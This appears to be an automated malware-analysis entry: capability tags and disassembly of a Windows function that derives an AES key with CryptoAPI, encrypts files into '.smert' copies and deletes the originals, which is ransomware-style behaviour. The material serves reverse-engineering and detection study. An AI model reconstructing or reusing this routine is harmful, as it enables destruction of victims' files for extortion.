Function at 0x4012f9
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x2022c
call fcn.00402930
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20228], eax
mov eax, dword [esp + 0x20230]
push ebx
push ebp
mov dword [esp + 0x18], eax
mov ebp, edx
push 0x104
lea eax, [esp + 0x120]
mov ebx, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..exe
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x401518
lea eax, [esp + 0x11c]
push eax
push ebx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
je 0x401518
push esi
push edi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push 0x403300
push ebx
call edi
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x401516
push ebx
push str._s.smert
lea eax, [esp + 0x2c]
push 0x100
push eax
call fcn.00401055
lea eax, [esp + 0x34]
push 0x403310
push eax
call edi
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x4013b8
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x401552
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401545
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push 0
test eax, eax
je 0x40153b
push 0x20
push ebp
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x401418
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x401539
lea eax, [esp + 0x18]
xor ebp, ebp
push eax
push ebp
push dword [esp + 0x1c]
push 0x6610
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
push dword [esp + 0x14]
test eax, eax
jne 0x401443
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x401468
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push ebp
push dword [esp + 0x24]
push 1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x40146e
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push ebp
jmp 0x40153b
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
lea eax, [esp + 0x228]
push esi
push 0x10000
push 1
push eax
call ebp
add esp, 0x10
jmp 0x4014e6
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push 0x10010
push eax
lea eax, [esp + 0x10230]
push eax
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
push eax
push 0
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x40152f
push edi
push dword [esp + 0x20]
lea eax, [esp + 0x10230]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
push 0x10000
lea eax, [esp + 0x240]
push 1
push eax
call ebp
add esp, 0x20
test eax, eax
jne 0x40148b
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call esi
push edi
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop edi
pop esi
mov ecx, dword [esp + 0x20230]
pop ebp
pop ebx
xor ecx, esp
call fcn.00401b57
add esp, 0x2022c
ret
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call esi
push edi
call esi
pop ecx
pop ecx
jmp 0x401516